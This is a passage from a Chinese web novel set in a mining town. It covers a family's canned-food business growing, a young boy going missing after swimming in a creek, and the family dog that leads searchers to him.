“我要去川渝开会学习,说是要待半个多月,不多备点儿罐头不成啊。” “川渝是好地方,就是太辣了,吃着刺激,可上厕所就难受了,带点儿罐头缓一缓胃,挺不错的。” 排队买罐头的队伍中,类似的对话不断响起。 之前没有罐头时,要出远门的人们常常是一次性在煤矿人家打包一大堆的饭菜,冻好后留在路上吃。 不过也只能冬天这么干,其他季节的温度大多在零度以上,食物无法长时间存放。 现在有了“煤矿人家”牌罐头就不用担心食物变质的问题了,一年四季都能食用。 而且罐头的口味和店里的菜相差不大,即使家乡已经远在千里之外,也能吃到让人心安的家常味道。 这给远离家乡的游子带来了某种心理上的慰藉。 当熟悉的香气袅袅升起,驱散了孤身一人的寂寞,似乎自己还在家中,身边围绕着亲人朋友。 罐头的销量日益上升,每天创新高,在表格上形成了一道漂亮的上扬曲线。 不管罐头厂运来多少罐头,都能在一天内销售完毕,催货的电话不断打到杨冬梅的办公室。 电话铃声一个接一个地响起,真是让人甜蜜又烦恼。 罐头厂已经在三班倒了,即使在深夜也是灯火通明,烟囱不断冒出热腾腾的白烟。 女工们虽然疲惫,但脸上的笑却比任何时候都多。 原因无他,到手的工资信封实在是太厚实了,厚到可以摔到一向颐指气使的丈夫脸上,理直气壮地让他去给老娘端盆洗脚水,再把脏衣服和碗都洗了。 偷懒女工后悔了,腆着脸找到饼干厂的厂长,求他找贺明珠说情,让自己回去上班吧。 厂长摇摇头,连连摆手,再问就是一句三叹:“当初是你自己要走的,现在又出尔反尔,不成啊,不成啊……” 为了方便送货,贺明珠批款让罐头厂买了一辆三轮摩托车,车头像是街边随处可见的拉客三蹦子,车后加了一个篷布车厢。 这车看着简陋,倒是很有劲,一次可以运输几百斤的罐头,大大减轻了罐头厂的送货压力。 有人眼睛尖,发现买到手罐头的生产日期都很新,立刻就意识到罐头厂的销售量大到没有积压库存,便动了心,主动找上门来,想要批发价拿货,成为罐头厂的经销商。 贺明珠依照后世的经验,亲自制定了经销商管理手册和销售管理制度。 本来想要让杨冬梅去负责这部分工作,但考虑到她已经在主持厂里的生产工作,不适合同时接手对外销售的工作,贺明珠便从乌金年代把徐和平提了出来,将这一摊活儿扔给了他,顺便给他安了个副厂长的头衔。 徐和平脑子转得快,嘴皮子溜,人也机灵,虽然以前有点偷奸取巧的小心思,但被贺明珠按着干了一年的活儿后,他身上的油滑气一扫而空,显得踏实牢靠多了。 最重要的是,经过一年的观察,徐和平在贺明珠心中被打上了“自己人”的烙印,确认他本质善良,不是那种见钱眼开的贪婪者。 徐和平本来不想来罐头厂,他在饭店里混得如鱼得水,还能哄着费立广给他开小灶,过得不知有多滋润。 而罐头厂都是陌生的女工,搭班的还是不太对付的杨冬梅,就算当上副厂长可以坐办公室、不需要干活,还是浑身不自在。 贺明珠笑嘻嘻的,疯狂给徐和平戴高帽,直吹捧得他晕晕乎乎,稀里糊涂就答应了下来,还拍胸脯保证,要把“煤矿人家”牌罐头卖往全国。 等清醒过来,徐和平就后悔了,但后悔也晚了。 罐头厂难得开了一次正式大会,贺明珠将徐和平这位副厂长郑重介绍给了全体女工。 女工们不知所以,只是习惯性地相信贺明珠,见她这般的郑重其事,下意识认为这位新来的徐副厂长是个大能人,能带领罐头厂走向更加光辉的明天,纷纷向他投去敬仰的视线。 徐和平高坐在主席台上,被人看得仿佛椅子上长了刺,怎么坐都不自在。 这个前小贼兼前服务员还从来没有被人以这样尊重的方式对待过,在别扭的同时,又暗暗在心中升起一股豪情壮志。 不就是管理经销商、开拓销售渠道吗?这有什么难的! 不需要贺明珠再多话,徐和平自动接手了这一摊的管理工作,连夜研读贺明珠起草的经销文件,并在走马上任的第二天,就马不停蹄地开始去接触各家意向经销商。 说起来,现在主动找上门的经销商都是些小卖部、杂货店之类的小商家,百货商店是国营单位,自矜身份,不肯轻易接纳国企体系以外的商品。 徐和平并没有因为现有的经销商规模小而看轻对方,反而每次都认真对待。 他是亲身经历了煤矿人家从一矿旁的一家小饭店,在短短一年间发展到如今的规模,深知万丈高楼平地起,再庞大的集团也是从一笔笔的小生意开始积累。 除了接洽主动找上门的经销商,徐和平还主动出击,四下寻觅合适的经销商。 他也不怕累,天天骑着自行车在乌城的大街小巷中穿梭,短短一段时间就把小商店 都踩点了一个遍,还在本子上列出了各家商店的位置名称,以及作为经销商的优劣等。 短短几周,徐和平就被初夏的阳光晒得黝黑,脖子上被晒出了明显的分界线。 他的那辆自行车加速折旧,车胎都补了好几次,骑起来除了车铃不响,整辆车都叮里当啷地乱响。 但徐和平本人乐此不疲,每每听到罐头厂的女工尊敬地喊“徐厂长”,他就感觉浑身充满了干劲。 贺明军啧啧称奇,对贺明珠说:“你瞧瞧,和平现在是被你指挥得团团乱转啊。这家伙,以前在饭店里成天找机会偷懒,没看出他居然有这么爱岗敬业啊。” 贺明珠说:“因为在饭店上班只能满足物质需求,和平鸽吃饱了饭,自然就对精神需求有追求了。” 贺明军侧目:“你的意思是我给和平吃太饱了,所以他才会扔下饭店这一摊子事儿,跑去罐头厂干什么经销,我当初就应该饿他几顿对吗?” 贺明珠默默转开视线:“我啥也没说……” 贺明军嗤了一声,扯了扯自家妹妹乌黑的辫子,吐槽道:“还你啥也没说,你都从我手底下抢人了,还想干点什么?” 自从徐和平被贺明珠半强迫地逼来贺家饭店上班,就一直和贺明军搭班干活。 两人一个前厅跑腿,一个后厨掌勺,从煤矿人家到乌金年代,配合得那叫一个默契。 现在徐和平被调到了罐头厂,贺明军一时间还有些不习惯。 虽然纪平波也不错,但和同样被通缉犯打伤又一起养伤的开荒兄弟徐和平比起来,还是差那么点同甘共苦的情谊。 而且作为饭店元老,徐和平是左膀右臂般的存在,店内所发生的摩擦和纠纷在上报到贺明军之前,就已经被徐和平处理了大半。 因此,当徐和平不在饭店上班时,贺明军肩上的担子骤然重了许多。 贺明珠也知道这段时间以来二哥的压力有点大,好像确实她有那么一点坑哥了咳咳…… 她讨好地拉着贺明军的胳膊摇晃,撒娇道:“二哥你超厉害的,有没有和平鸽都不影响的……说起来,只让你管乌金年代这一家饭店还有点浪费你的才华和能力呢……” 贺明军敏锐地打断了贺明珠的话:“等等,你先别给我上迷魂药,你想干嘛?” 贺明珠嘿嘿地笑,一双眼亮晶晶地冲着贺明军眨啊眨的。 “二哥,你有没有兴趣管理全部的饭店和食堂呀?” 贺明军:??? 贺明军:!!! 合着他这亲妹妹是要来个大撒把,原先是事无巨细事必躬亲,现在则是风格大变,一口气把工作都分包出去,她自己则稳坐指挥台,落得清闲。 贺明珠试图说服贺明军:“二哥,都说打虎亲兄弟,咱家现在只有你能帮我一把。大哥大嫂一心上班,小弟还小指望不上,也就是你了,长得帅还有能力,除了你再没别人了。” 贺明军对贺明珠的迷魂药已经有了抵抗力,冷静道:“你上次也是这么说的。” 贺明珠夸张捂嘴,差点忘了,上次她也是拿这套说辞忽悠贺明军的。 完犊子了,现在二哥有经验了,不好忽悠了。 贺明珠语重心长地说:“二哥,俗话说得好,放一只羊是放,放一群羊也是放;同理可知,开一家店是开,开一群店也是开,都顺手的事儿~” 贺明军:“……有这俗话吗?” 贺明珠耍无赖:“二哥,我还是个高中生呢,再过一年多我得考大学呀。” 贺明军:…… 你也知道自己还是高中生啊! 最后,贺明军到底对贺明珠没办法,自家亲妹妹,除了宠着还有什么办法呢? 贺明军被迫走马上任成为三家饭店和一家食堂的管理者,手下统管了几十号的人,每天一睁眼就是无数的事情要处理。 当初他看贺明珠处理这些事时还挺游刃有余,可轮到自己后,才发现这意味着多大的工作量,每天都不断有突发事件亟待解决。 幸好贺明珠前期搭好了架构,所有饭店都拥有一定的自主性,能够进行一定程度的自我管理和自我更新,不需要太多的微操,这才让贺明军有了喘息之机。 饭店和食堂的职工们也习惯了头上有一个面嫩的大领导,即使当这个领导换成了贺明军,也没有人冒失地想要上来试试贺明军的轻重。 贺明军原本还准备了三把火,准备上任之初好好收拾一下不长眼的家伙们,谁成想,竟然连一把火都没能放出来——当然,这一方面是因为贺明珠前期打的基础牢靠,另一方面则是贺明军本身的威慑力了。 对上这位英俊的玉面修罗,没人想上去触霉头,被当成杀鸡儆猴的那只鸡。 以一种意料之外的顺滑流畅,贺明军开始了他的管理生涯。 手头工作都外包出去,在重生的一年半后,贺明珠终于能较为悠闲地享受她的第二次人生。 正值夏天,矿上给工人发放防暑降温的劳保用品,其中就包括了一袋橘子粉。 贺明珠冲了一杯橘子水,品一品,还是记忆中酸酸甜甜的味道。 贺家新添了一台单开门的香雪海牌冰箱,是贺明国用自己的工资买的,天热食物容易变质,有了冰箱后,再也不用担心做的菜太多吃不完。 齐家红把白开水冻成了冰块,每天往酸梅汤和绿豆沙里放上几颗,全家人都喝上了冰冰凉凉的解暑饮料。 她还去冰棍厂批发了一箱的雪糕,各式品种都有,把冷冻层塞了个满满当当。 贺小弟每天放学回家后的第一件事就是扑进大屋,从冰箱里拿一根白糖冰棍来吃,一口咬下去,全身的燥热都一扫而空。 在天气最热的时候,矿务局组织了一场职工篮球比赛,各单位派出代表队参加比赛。 由于是代表本单位与兄弟单位在全矿务局面前竞争,因此在挑选篮球队员时都是精挑细选,有体工队退役的运动员,有退伍军人,也有经常锻炼的体育爱好者。 最后选出来的队员大都是精干结实的小年轻,换上篮球背心大裤衩后,很有几分看头。 篮球比赛在矿务局大礼堂前的篮球场举办,周围环绕着一圈的台阶式看台,裁判台是临时搭建的二层铁架子,分数牌就挂在铁架子上,需要人手动翻页。 对于矿务局一年一度的体育赛事,矿务局人民爆发出前所未有的热情,从各单位的内部科室选拔赛开始,篮球场上就挤满了围观群众,顶着炎热的太阳,一场不落。 各单位也大气,让后勤买来西瓜,切片后发放给现场观众,还有大桶的绿豆汤,敞开了供应。 贺明国个头高,以前在学校时是校篮球队的主力,当仁不让被选入一矿篮球队,作为中锋和队长,在场上指挥控场。 正在放暑假的贺明珠、齐家红和贺小弟作为家属当然要到场支持,坐在视野最好的第一排给贺明国打气助威。 或许是有家人加持,贺明国表现英勇超凡,凭一己之力砍下三十分,击败了对面有体工队运动员的队伍,成功晋级下一轮比赛。 蝉鸣与哨声,西瓜与冰棍,这个夏天是热烈的。 天气热,小孩们在家里待不住,呼朋唤友地出来玩儿,在家属区迷宫似的小巷中,一群小屁孩呼啸而过。 贺小弟不止是自己跑出去玩儿,还带上了家里小狗,一人一狗成天在外面野,不到天黑不回家,每天玩得手脚乌黑,像在煤堆里打过滚。 矿上的孩子都是这样,贺家也不管他,到了饭点知道回家吃饭就行了。 贺明珠好奇问贺小弟在玩什么,他掰着指头数,什么拍画片、抽铁圈、打沙包、弹玻璃球……林林总总的,都是后世在楼房里成长的小孩所想不到的玩法。 贺小弟还缠着齐家红撒娇,想要一套羊拐骨来玩儿。 贺明珠逗他,羊拐骨是女孩子玩的,他要这个干什么。贺小弟扭着身子不肯说,大概要不是他和女孩一起玩,要不就是他想送给某个女孩,总之,是小朋友之间纯洁的交往。 有人看中了家属区孩子多,推着爆米花机来做生意,摊主收一点手工费,原材料玉米和白糖可以自备,没有也行,摊主卖得便宜,主打一个薄利多销。 最开始来买爆米花的人不多,但随着第一炉爆米花在“嘭”的一声巨响后出炉,甜蜜的浓香充斥在空气中,事情变得一发不可收拾起来。 从早到晚,家属区里爆米花的声音就没断过。 摊主坐在小炭炉前,慢悠悠地转着炉子的摇手,火舌舔舐着黑黝黝的高压炉,周围站了一圈的小孩,伸着脖子,又怕又期待,渴盼地等着。 当摊主站起身,从容不迫地将网兜套在炉子开口处,打开阀门,随着一声轰然爆响,甜香的爆米花冲进了网兜中,引得一众小孩惊叫出声。 除了爆米花,摊主还卖米花糖,也就是用白糖熬成的糖稀将爆米花都牢牢粘在一起,放在模具中晾凉后切成长条方块,吃起来甜而脆,特别顶饿。 贺家人口多,加上都喜欢吃爆米花,齐家红一口气买了一大袋子的爆米花和米花糖,随吃随取。 贺小弟经常是兜里揣上两块米花糖出门,大方分给一起玩的小朋友。他人缘好,小朋友都乐意和他混在一起。 这天,有小孩神秘兮兮地问贺小弟:“我发现了个好地方,你去不去?” 贺小弟问:“去哪里?” 小孩说:“后山有条河,可以游泳,你去不?” 贺小弟兴奋起来:“去!” 天气这么热,要不是大嫂说小孩子不许用冷水洗澡,他早就在盆里泡着了。 因此一听小孩说有河可以游泳,贺小弟二话不说就同意了,跟着人家就走,小狗甩着尾巴跟在他的身后。 说起来是“河”,其实是一条浅浅的小溪,前段时间下雨导致溪水暴涨,最浅处刚没过脚踝,最深处可以淹到成年人的腰部。 溪水不算清澈,隐约可见蝌蚪和半透明的小鱼,岸边还有指甲大的青蛙爬在草叶上。 贺小弟去的时候,溪里已经有小孩在玩水了,脱得光溜溜,掬水互泼,看着就凉快。 带他来的小孩三下两下就把衣服脱了个干净,甩下两只鞋,蹦蹦跳跳地下了水,还冲贺小弟招手:“快来啊!” 贺小弟既心动又犹豫。 这水看着就清凉 ,玩起来一定很有趣。可家里人三令五申不许他去野泳,要是让兄姐们知道了,还不得把他的屁股打成三瓣? “贺明华,快点来!你还玩不玩了?!” 溪里的几个小孩冲贺小弟喊道:“你要是不敢下来,你就是胆小鬼!略略略,胆小鬼!” 贺小弟脑子一热,三下五除二脱了小背心和短裤,光着脚在地上跑了两步,一头扎进溪水里。 “我来了!” 晚上的时候,齐家红将菜端上了桌,却迟迟不见贺小弟回来,不由得有些不安。 今天贺明国值班,贺明军管店,贺明珠去了罐头厂盘账,家中只有她自己在。 齐家红不放心,出门找了一圈,平时贺小弟常去的几个地方都没见着人,而和贺小弟玩得好的小孩早已回家,一问贺小弟去哪儿了,都说不知道。 齐家红越想越急,虽然说家属区里都住着一矿的人,可人心隔肚皮,谁也不知道会不会有人对小孩有坏心思。 贺小弟年纪虽小,但天生性格就勇得很,原先因为贺家条件差,他还有点小自卑。 可随着贺家生活越来越好,还有两个成年哥哥撑腰,贺小弟就越来越横冲直撞,像一头小牛犊,颇有种无知者无畏的头铁气质,也就还怕贺明珠。 贺家人既怕贺小弟莽出了事,又怕过多的管教消磨掉他身上这份天生的勇敢,只好在平时多提点,划定了绝对禁止的红线后,其他的任由贺小弟去探索。 但贺小弟到底还是个小孩,禁不住诱惑,自己踏进了红线。 都说长嫂如母,齐家红带了贺小弟这么久,感情深厚,早已把他当成了自己的亲弟弟。 如今贺小弟迟迟不回家,她心急如焚,连晚饭都顾不上吃,满世界地去找他。 当贺家人陆陆续续回来后,家里没人,灯关着,桌上的饭菜早已没了热乎气。 贺明珠拿起桌上放着的纸条,上面潦草地写了一行字—— “小弟不见了,快去找!” 第135章 第135章一条名叫将军的狗(补…… 贺明珠看到纸条,心猛地一坠,手脚一阵冰凉。 她努力镇定下来,回忆起上一世,当时没发生贺小弟失踪的事情,也没听说过家属区里有小孩被拐卖的传闻,毕竟矿务局属于北方工业区的熟人社会,人口流动性小,但凡出现陌生面孔都会引起本地人的注意,很少发生儿童拐卖的事。 虽然这年头治安不怎么地,但也基本没有发生过针对小孩的恶性案件,贺小弟的人生安全应该还是有保障的。 想到这里,贺明珠稍微平静了些。 贺小弟应该没有离开家属区,只是不知道他目前所在的位置。 考虑到这孩子被家里的伙食养刁了嘴,不会去别人家蹭晚饭;加上自家就有彩色电视机,也不会是在别人家看电视忘了时间。 所以,极大可能是贺小弟在外面玩疯了,玩得忘了回家。只要看看他的玩伴在哪里,十有八九就能推断出贺小弟的位置了。 说干就干,贺明珠敲开了几家的大门,这些人家的小孩平时和贺小弟玩得好,经常来贺家看电视吃冰棍,几家大人也互相熟悉。 贺明珠敲开门后,屋主得知来意,叫出了自家孩子。可一问,这些孩子都不知道贺小弟去哪儿了。 连续几家都是这个回答,贺明珠渐渐焦虑起来,眉头也拧得越来越紧。 几家大人看她着急,纷纷从自家拿了手电,要帮她一起找贺小弟。 直到敲开最后一户人家的门,小女孩手里抓着几个羊拐骨,摩挲得白净光亮。 贺明珠不抱希望地问她知不知道贺小弟去哪儿了,小女孩摇摇头,她下午的时候和其他小朋友玩过家家,没和贺小弟在一起。 贺明珠有种意料之中的失望。 可能是从大人间紧绷的气氛中察觉到了什么,小女孩小声地说:“我看到贺明华跟着人往后山去了,说是要去游泳。” 这个信息很关键,指明了贺小弟的去向。 可听到“后山”和“游泳”后,大人们好像更不安了。 小女孩家的大人当机立断:“我去叫人,咱们一起去后山找孩子。” 左邻右舍都被发动起来,正值晚饭时间,大多数人都在家,听到有孩子可能在后山丢了,都热心地主动来帮忙。 路灯昏暗,而更多的地方连路灯都没有,大家便拿上沉重的铁皮手电筒,白色的光芒驱散眼前的一小片黑暗。 从高空俯视,家属区渐渐汇聚出一条长长的光带,朝着后山的方向延展拉伸。 齐家红正无头苍蝇似的在贺小弟常常出没的几个地点找人,见到贺明珠时急切地拉住她,不住地问:“找到了吗?找到小弟了吗?” 贺明珠哑着嗓子说:“还没有。听说他跟人去后山游泳了,我们正要去后山。” 听到这话,齐家红的双腿一软,再出口的声音就带了些哭腔。 “他怎么敢去后山游泳!说了多少次,只能在家属区里玩,他怎么就不听话啊!” 她是老师,平时听多了学生假期出事的新闻,当听到“后山游泳”这四个字,立时就想到了最坏的结果。 贺明珠反手攥住她的手,不是在安慰对方,还是在安慰自己。 “没事的,小弟不会出事的。” 他还没有长大,没有见过不会对客人呼来喝去的售货员,没有用过手机电脑,也没有坐过飞机高铁,甚至连普通的绿皮火车他都没坐过,他怎么能出事呢? 贺明军也从店里赶了回来,铁青着一张脸,气势汹汹带头往后山的方向走,与其说是要去找人,更像是要去打人。 后山离家属区不远,一行人不多时就走到了。 夜色中,山体是一道沉默的深色剪影,阴沉沉的,有比夜色更浓郁的黑。 乌城的山大都是些石头山,荒芜萧条,贴地长着一层乱糟糟的野草,最高的不超过膝盖。 偶有几颗孤零零的耐旱树木,长得粗枝大叶,歪七扭八地立在山坡斜面。 即使是这样荒凉的孤山,当大队人马挥舞着手电筒闯入时,仍有原住民惊慌失措的窸窣声音发出,有的是田鼠,有的是野兔,还有筷子粗细的小蛇。 “贺明华!贺明华!” 人们不住地喊着贺小弟的大名,惊飞了休息的鸟群。 脚程最快的那波人已经走到了小溪旁,手电筒的光芒在水面上乱晃。 大家既期待又忐忑,期待的是想早点找到贺小弟,忐忑的是怕看到他面朝下浮在水面上。 怀着这样复杂的心情,人们兵分两路,一路朝小溪上游走,一路朝小溪下游而去,还有人拿着长长的棍子 ,在水里搅来搅去,时不时有被惊扰的青蛙四处乱蹦。 贺明珠没跟着大部队走,而是沿着小溪周边来回查看。 齐家红六神无主地跟着她走,脚下忽然被什么拌了一下,她拿手电筒照过去,发现是几件小孩衣服和鞋子。 贺明珠眼角余光发现身后的手电筒光线一歪,接着便听到一声变了调的惊呼。 “明、明珠……” 她转身看去,齐家红惨白着脸,颤抖的手拿起地上什么东西,展开一看,是贺小弟今天穿的衣服。 贺明珠脑中嗡的一声,最糟糕的念头一拥而上,手里的手电筒忽然沉得让人握不住。 齐家红哭着说:“怎么办?小弟……我要怎么和你大哥交代啊……” 她的哭声引来了人群,大家渐渐沉默,一种压抑而悲伤的气氛传染着彼此。 水位暴涨的小溪,岸上的衣服,失踪的孩子…… 一切的一切,似乎都指向了最坏的那个结果。 齐家红已经哭得瘫软在地,几乎要昏过去。 贺明军忽然暴怒,重重踢开地上的石头,穿着衣服鞋子冲进了小溪中,巨大的水声响起。 他一手拿着手电筒,一手握着长杆,在水中不断翻找。 水花四溅,手电筒密封性差,沾了水后灯泡闪了几下,突然灭了下去。 贺明军像是毫无所觉,将坏了的手电筒扔到一边,索性整个人都潜入水中,在黑暗中来回摸索。 有人下水去劝贺明军,却被他一把推开。 “我要找小弟,我要带他回家,你们谁也别拦我!” 贺明珠沙哑地喊了一声:“二哥。” 贺明军动作停顿下来,红着眼睛,问贺明珠:“你也要拦我吗?” 贺明珠没说话,一步一步地走进了水中。 “我和你一起找。” 贺明军忽然狼狈地低下头,似乎有细小的水花在溪面上绽放。 “好。”他说,“好。” 来帮忙的人群中,有人抹着眼泪,在岸边打着手电筒,照亮了这一段小溪。有人脱了鞋袜,不做声地走下了水,和贺家兄妹一起找。 远远地,忽然传来一串欢欣雀跃的狗叫声。 “汪汪汪!” 一条皮毛沾满了泥土的大狗在岸上来回转圈,冲着小溪里的贺家兄妹不停地吠叫,时不时人立而起,似乎有什么急事要找他们。 贺明珠定睛看去,奇怪道:“将军?” 岸上的正是贺明军抱回贺家养的那条狗,从小奶狗养到成年,有狼狗血统,站起来时比贺小弟还要高出一头。 贺小弟给狗起了“将军”的名字,之后发现这条狗是母狗,想要改名时,狗已经认准了“将军”两个字,喊别的名字都不带搭理。 贺小弟很苦恼,母狗怎么能叫将军呢。 贺明珠就说:“谁说将军只能是男的?古代有木兰从军,有穆桂英挂帅,新中国也有开国女将,我觉得将军这个名字很好。” 听了贺明珠的话,贺小弟不再纠结这件事,成日里“将军”、“将军”地喊狗,一人一狗同进同出,大狗每天上学时把贺小弟送到巷口,下学时又等着接他,时间长了,就成了家属区一景…… 不少小孩羡慕不已,也嚷嚷着要自家狗放学来接。 但俗话说,七岁八岁狗都嫌,像将军这样不嫌弃小男孩的狗还是少数,贺小弟倍有面子。 将军突然出现在小溪旁,在场的人都有些惊讶。 见贺明珠注意到自己,大狗的叫声更欢快了,在岸边不住地左右奔跑,想下去把贺明珠拉上来,又不愿下水沾湿了毛,只得不住地汪汪大叫。 贺明珠心中一动,像是黑暗中燃起了一星烛火。 她急忙趟着水往前走了两步,想到些什么,又停下来去喊贺明军:“二哥,二哥!” 贺明军刚从水里潜上来,赶时髦留的半长头发湿漉漉地盖在脑门上,平添了一分温良气质。 但他的目光是沉寂而悲痛的,眼睛里满是红血丝,不知是不是因为在水中睁眼的缘故。 贺明珠固执地喊:“二哥!跟我走,我们可以找到小弟了!” 贺明军看看贺明珠,又顺着她手指的方向看看岸上的大狗,忽然想到什么,又像是不敢置信,一时愣在原地。 贺明珠索性过来拽着他的胳膊,强行将他拉到了岸上。 大狗早已等得着急了,见到两位湿漉漉的主人,敷衍地上来舔了两下,便忙不迭地往前方蹿了几步,又反身回来,示意两人跟上它。 贺明珠踩着满是水的鞋,深一脚浅一脚地追着狗,贺明军扯着她的胳膊,连拉带抱,紧紧跟在大狗的后面。 人们不知所以,下意识地跟了过来。 大狗娴熟地穿行在乱石和杂草中,走到一处远离小溪、背风的位置,这里有一丛格外茂盛的野草,两瓣肥嘟嘟的小屁股从草叶中冒了出来。 贺明珠忽地就走不动了。 大狗表功似的冲众人汪汪汪大叫了几声,接着习惯性地上前卧下,将草丛里的光屁股小孩环在怀里,顺便伸出舌头疼爱地舔了几下脑门。 贺明军迟疑地伸出手,轻轻地将趴着睡的小孩翻了过来。 贺小弟大张着嘴,睡得口水横流,小肚皮上下起伏,嘴里嘟嘟囔囔说着什么含混梦话。 贺明军像是泄了气,忽然就蹲坐在地上,低低地笑出了声,声音越来越大。 接着,他忽然起身,高抬起手,冲着贺小弟的光屁股就是重重一巴掌。 “起床!别睡了!” 格外响亮的巴掌声,肥嘟嘟的小屁股上立竿见影就出现了一个形状分明的巴掌印。 贺小弟吃痛,猛然惊醒,要哭不哭地从地上爬起来,两只手团着揉眼睛。 数道手电筒的光线聚焦在光溜溜的贺小弟身上,将他照得纤毫毕现。 人群中爆发出一阵欢呼声。 “找到了!找到孩子了!” “孩子还活着!没事儿!” “快告诉他们,不用找公安了!孩子找到了!” 贺小弟不知道这一晚上围绕着自己发生了什么事,睡得正香忽然被二哥打醒,委屈地哭了起来。 “呜呜呜……你干嘛打我……呜呜呜,我要告我姐……” 贺明珠终于有了力气,慢慢地走过来。 看到是她,贺小弟习惯性地伸出两只胳膊,要抱抱。 贺明珠温柔微笑,张开怀抱,当贺小弟乳燕投林般冲进她怀里时,她猛然变脸,反手将贺小弟面朝下压在大腿上,扬手就是噼里啪啦一顿抽。 “啪!我让你来后山!” “啪!我让你游野泳!” “啪!我让你吓人!” 贺小弟不可置信极了,一时间连屁股上传来的疼痛都忘记了。 “姐,你干嘛打我啊!” 大狗也没想到会这样,犹犹豫豫地蹭过来,毛茸茸的脑袋顶了顶贺明珠的手,意思大概是“看在我的面子上算了算了”。 贺明珠抽空揉了把狗头,说了句“乖,一边去”,便又继续开抽。 贺小弟“哇”地一声大哭起来,比之前被贺明军打时哭得还要惨,像条大鲤子鱼似的在贺明珠腿上活蹦乱跳。 贺明珠也不知是从哪儿来的力气,单手就摁住了贺小弟,一直打到手心发麻发烫。 一旁的人们都劝:“算了算了,孩子没事儿就行。” 当贺明珠松开手时,贺小弟已经哭得嗓子都哑了,屁股高高肿起,看起来翘到可以顶起一瓶汽水。 贺明军伸手接过贺小弟,把他抱进怀里。 贺小弟也不嫌二哥之前打过自己了,脸蛋埋在他的肩膀上,哭得抽抽噎噎。 “行了,先回去吧,太晚了,明天再教训这小子。” 贺小弟听到二哥的话,哭得更大声了。 回到家属区,贺家兄妹谢过来帮忙的左邻右舍,约好要在乌金年代摆谢酒,邀请大家来吃席。 人群高高兴兴地散去,没想到就是帮忙找找孩子,还能吃到乌金年代的席面。 要知道乌金年代走的是中高档路线,菜品虽然好吃,可定价也高,大多数人不舍得经常吃,也就是逢年过节或者过生日的时候来开开荤。 一回到家,齐家红忙忙碌碌地煮姜汤、烧热水,让贺明珠和贺明军赶紧换掉身上的湿衣服,又把光溜溜的贺小弟塞进了被子中,用牛奶泡了饼干,让他拿着小勺慢慢吃。 虽然现在是夏天,但北方的夏夜还是有点冷的,太阳落山后,夜风都带着丝丝凉意。 之前心情激昂的时候还没察觉,等这会儿冷静下来了,就感到湿衣服黏在皮肤上,汲取着身体的热量。 贺明军在院子里三下五除二换了衣服,贺明珠则在屋子里换,湿发裹着干毛巾,冷不丁地打了个喷嚏出来。 换好了衣服,贺明珠从冰箱翻出了一大块冻排骨,煮熟后喂给了大狗,香得它连骨头都嚼吧嚼吧咽了。 简单用热水擦身,又喝了一碗姜汤,精神和身体都紧绷到极致的几个人疲惫地睡去。 后半夜的时候,贺明国赶了回来。 齐家红在发现贺小弟不见后,用巷口小卖部电话打到分矿,让接线员 转告贺明国,贺小弟不见了。 贺明国被人告知这个消息,立刻和班组长请了假,又找人借了辆自行车,连夜从分矿骑了回来。 一路上,贺明国心急如焚,自行车轮都踩出了火花。 等回了家,贺明国才发现自己忘带钥匙了。 他也不敲门,找了几块砖头摞起来垫脚,三下两下就翻过墙头,期间弄出了一点声响,窸窸窣窣的,听起来不太正经。 吃撑了的大狗没睡着,恋恋不舍地对着骨头又舔又咬,爱的不得了。听到外面的响动,大狗猛然起身,悄没声儿地走到了墙根下。 贺明国没意识到,从墙头上跳下来时,被自家大狗扑了个正着。 一阵响亮的狗叫声,大屋小屋的灯亮起来,贺明军拎着铁棍走出来,随手拉下灯绳,院里的灯泡亮起,照亮了滚在地上的一人一狗。 贺明军定睛一看,有些犹豫地说:“老大,你什么时候改行做贼了?” 贺明国:“……滚!” 大狗发现认错了人,错把自家主人当贼了,怪不好意思的,狗脸上神情变换,原来是“我要咬死你这个蟊贼!”现在则是“嘿嘿嘿主人你回家怎么不和我说一声呢?” 大狗也不起来,趴在贺明国身上,谄媚地伸舌头狂舔,嘤嘤嘤地冲他撒娇。 贺明国一边扭脸避开这条蠢狗,一边问贺明军:“小弟呢?找着了吗?” 贺明军说:“嗯,找着了,现在正在屋里睡着呢。” 贺明国松一口气,一直提着的心终于放了下来。 没事就好…… 狗一直在烦人,贺明国伸手抓住了它的嘴筒子,把它扔到一边,这才能专心说话。 “在哪儿找着的?谁找着的?” 贺明军抬抬下巴,示意他去看狗:“喏,狗找着的。” 贺明国看看贺明军,贺明军看看贺明国。 贺明国缓缓低头,被抓住了嘴筒子的大狗正用一双湿漉漉的圆眼睛看他,怪可怜无辜的。 “……” 贺明国缓缓松开手,欲盖弥彰似的将大狗脸上的毛顺了顺,假装一切都没发生。 从贺明军口中,贺明国得知了贺小弟失踪后发生的事情,以及贺小弟失踪的前因后果。 贺小弟跟小孩去后山小溪游泳,玩得不亦乐乎,学着人家仰面浮在水上,顺着水流而缓缓移动。 别的小孩玩得差不多了,纷纷上岸穿衣服,等头发晾干了,正好回家吃饭。 贺小弟没玩够不肯走,独自留了下来。不过一个人玩没意思,玩了一会儿便也决定离开。 但他忘了下水的位置,不记得把衣服鞋子扔哪儿了。 天色越来越暗,昏暗中地上草丛连成一片,更看不清藏在其中的衣服了。 贺小弟慌了神,光着屁股四处找衣服,结果不仅没找到衣服,还迷失了方向,走到完全陌生的草丛中,只有自家大狗陪着。 贺小弟到底还是个五岁小孩,眼见太阳落山,天色完全黑了下来,他又累又怕,抽抽搭搭哭了一会儿,哭累了躺在地上睡着了。 大狗皮毛厚实,卧在贺小弟身边,将他圈在怀里保暖,寸步不离。 直到听到远处喧闹的人声,其中掺杂着自家主人的声音,大狗这才离开了贺小弟,去找人来帮忙。 这也就有了后面发生的事。 听完贺明军的话,贺明国拍了拍大狗,感叹道:“是条好狗。” 要是没有这条狗,贺家还不知道要在小溪里浪费多少时间,而贺小弟光溜溜地暴露在夜风中,也不知会不会出现失温的危险。 第二天吃饭的时候,贺小弟发现自己的座位旁多了一把椅子。 当家中众人落座后,在贺明珠的指挥下,自家大狗轻巧地跃上椅子,坐得端端正正。 贺小弟不解地问:“姐,你不是说吃饭的时候动物不能上桌吗?” 贺明珠说:“什么动物不动物的,这是你狗姐,以后有好吃的你得让狗姐先吃。” 贺小弟:??? 贺小弟转头看向大狗,大狗也在看他,像是一位慈爱的长辈,明明大狗也就一岁,看他却像是在看不懂事的狗崽子。 贺明军凉凉补了一刀:“老四,以后你的那份肉,你得让你狗姐先吃,什么时候你狗姐吃饱了,什么时候才轮得到你吃。” 贺小弟非常震惊,而贺明珠已经亲手给大狗盛了一碗肉,放到它面前。 大狗抽抽鼻子,高兴得一双狗眼都是亮晶晶的。 